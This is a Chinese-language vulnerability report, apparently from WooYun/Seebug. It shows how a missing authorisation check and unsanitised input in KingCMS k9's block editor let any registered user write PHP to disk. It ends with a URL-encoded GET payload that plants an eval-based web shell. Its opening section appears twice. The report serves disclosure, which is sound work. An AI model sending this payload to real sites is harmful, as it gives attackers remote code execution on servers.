### 简要描述: KingCms最新版前台又GetShell ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 只需要普通用户就可以完成getshell 问题出在这里:/apps/block/manage.php ``` function _edit(){ $u=new user;$u->auth_role('block_edit'); if(empty($_POST['name'])) kc_tip('碎片名称不能为空!','form'); if(!kc_validate($_POST['name'],'/^[a-z0-9\_]+$/')) kc_tip('碎片名称只能由小写字母、数字和下划线组成!','form'); $path=ROOT.T.'block/'; if(empty($_POST['name_old'])){ if(is_file($path.$_POST['name'])) kc_tip('已经存在同名的碎片!','form'); }elseif(is_file($path.$_POST['name'] && $_POST['name']!=$_POST['name_old'])){ kc_tip('已经存在同名的碎片!','form'); } $s='<?php /**'.$_POST['notes'].'**/ ?><?php !defined(\'INC\') && exit("Illegal request!");?>'.$_POST['text'];//注释2 $file=new file; $file->put(T.'block/'.$_POST['name'].'.php',$s); kc_ajax(array('JS'=>"go('{$_POST['HTTP_REFERER']}')")); } ``` 这里有个权限验证$u->auth_role('block_edit');,我们去看看 ```...
### 简要描述: KingCms最新版前台又GetShell ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 只需要普通用户就可以完成getshell 问题出在这里:/apps/block/manage.php ``` function _edit(){ $u=new user;$u->auth_role('block_edit'); if(empty($_POST['name'])) kc_tip('碎片名称不能为空!','form'); if(!kc_validate($_POST['name'],'/^[a-z0-9\_]+$/')) kc_tip('碎片名称只能由小写字母、数字和下划线组成!','form'); $path=ROOT.T.'block/'; if(empty($_POST['name_old'])){ if(is_file($path.$_POST['name'])) kc_tip('已经存在同名的碎片!','form'); }elseif(is_file($path.$_POST['name'] && $_POST['name']!=$_POST['name_old'])){ kc_tip('已经存在同名的碎片!','form'); } $s='<?php /**'.$_POST['notes'].'**/ ?><?php !defined(\'INC\') && exit("Illegal request!");?>'.$_POST['text'];//注释2 $file=new file; $file->put(T.'block/'.$_POST['name'].'.php',$s); kc_ajax(array('JS'=>"go('{$_POST['HTTP_REFERER']}')")); } ``` 这里有个权限验证$u->auth_role('block_edit');,我们去看看 ``` public function auth_role($level=0,$is=false){ if(empty($level)) return $this->info['islogin']; if($level==1 && !$this->info['islogin']) return $is ? false :kc_tip('请先登录!','form'); //exit($this->info['islogin'].'ccc'); if($is==true && strpos($level,'_deny')) return false; global $db; $res_rids=$db->getRows_two('%s_user_role_bind','rid','removedate','userid='.$this->info['userid']); if(empty($res_rids)) return false;//注释1:如果没有权限,返回false $rids=array_keys($res_rids); $rs=$db->getRows_two('%s_user_role_auth','auth','id','rid in ('.implode(',',$rids).')'); /* $rs=$db->getRows_join('%s_user_role_auth','%s_user_role_bind','auth','rid','rid','t2.userid='.$this->info['userid'].' and t1.auth=\''.$level.'\''); */ if(!empty($rs['admin'])) return true; //if(empty($rs[$level])) return $is ? false : kc_tip('您无权访问当前页!','form'); return empty($rs[$level]) ? ($is ? false : kc_tip('您无权访问当前页!','form')) : true; } ``` 看上面代码“注释1”处,如果用户没有相应的权限就返回false,但是在上面的第一段代码中,并没有判断是不是返回false啊,也没有exit(),也就是说返回true和返回false是一样的,没有判断,程序继续向下执行啊。注册的会员都可以操作这里。 再看第一段代码的注释2处,直接把$_POST['notes']的内容进行了拼接,然后调用了$file->put(),跟进 ``` function put($filename,$s,$is=false){ $filename=$this->encode($filename,1); $this->md(dirname($filename));//创建目录 //去掉bom if(substr($s,0,3)==pack("CCC",0xef,0xbb,0xbf)){ $s=substr($s,3); } //exit($filename); if( file_put_contents(ROOT.$filename,$s,LOCK_EX) !== false ) {//写入成功 return true; }else{//写入失败 if($is){ kc_tip('文件写入失败!<br/>'.$filename); } } } ``` 仅对文件的名字调用了自定义的encode方法处理,对于写入文章的内容没有处理,这里是这样拼接的 ``` $s='<?php /**'.$_POST['notes'].'**/ ?><?php !defined(\'INC\') && exit("Illegal request!");?>'.$_POST['text']; ``` 因此,$_POST['notes']的内容应该为:/?><?php eval($_POST["p"]);/,然后URL编码即可。 Payload:get提交,普通权限的用户即可操作 ``` GET /apps/block/manage.php?jsoncallback=1&_=1&CMD=edit&METHOD=POST&id=&AJAX=1&name=test¬es=%2f%3f%3e%3c%3fphp+eval(%24_POST%5b%22p%22%5d)%3b%2f ``` 提交过程如下图 [<img src="https://images.seebug.org/upload/201503/22212802d04fd805dc67ab6bd22aa54d1c00c29e.jpg" alt="过程副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/22212802d04fd805dc67ab6bd22aa54d1c00c29e.jpg) 测试之 [<img src="https://images.seebug.org/upload/201503/22212818d00ec8cf4bad4c1789692e2cd06f7cc3.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/22212818d00ec8cf4bad4c1789692e2cd06f7cc3.jpg) ### 漏洞证明: 见 详细说明